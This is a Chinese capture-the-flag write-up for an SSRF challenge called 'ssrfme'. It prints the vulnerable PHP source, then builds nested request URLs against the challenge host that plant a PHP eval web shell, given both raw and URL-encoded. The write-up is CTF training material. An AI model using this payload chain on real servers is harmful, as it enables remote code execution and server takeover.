ssrf小练
ssrfme
考点:
1.ssrf
2.http伪协议
给了源码
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
简单审计
重点这一段
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
......
......
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
要求传入get参数file和path,file直接赋值给$url,path拼接upload,如果$path里面有..
那么就会终止执行。$url如果以http://127.0.0.1/
开头,就会通过file_get_contents($url)读取内容,然后通过file_put_contents()写入到$path中,并且通过echo输出"console.log($path update successed!)"
其中$url和$path都是可控
tips
因为这里要求传入的file参数必须以http://127.0.0.1/开头这样就限制必须使用http伪协议,使用http协议可以进行本地和远程文件包含,当allow_url_fopen = On时可进行本地文件包含
所以这样可以读取到index.php,但这里并没用什么用
http://www.bmzclub.cn:23718/?file=http://127.0.0.1/index.php&path=test.php
payload(*)
接下来构造如下payload,具体怎么构造的,这篇文章讲的很清楚
http://www.bmzclub.cn:23718/?file=http://127.0.0.1/index.php?file=http://127.0.0.1/index.php&path=test1.php&path=test2.php
所以这样服务器自己访问的就是http://127.0.0.1/index.php?file=http://127.0.0.1/index.php&path=test1.php
构造如下
http://www.bmzclub.cn:23718/?file=http://127.0.0.1/index.php?file=http://127.0.0.1/index.php&path=<?php eval($_POST['shell']);?>&path=test2.php
这样服务器自己访问的http就变成了http://127.0.0.1/index.php?file=http://127.0.0.1/inde.php&path=<?php eval($_POST['shell']);?>
最后对其进行一次url编码即可
http://www.bmzclub.cn:23718/?file=http://127.0.0.1/index.php?file=http://127.0.0.1/index.php%26path=%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65&path=test2.php
现在一句话木马就已经成功写入了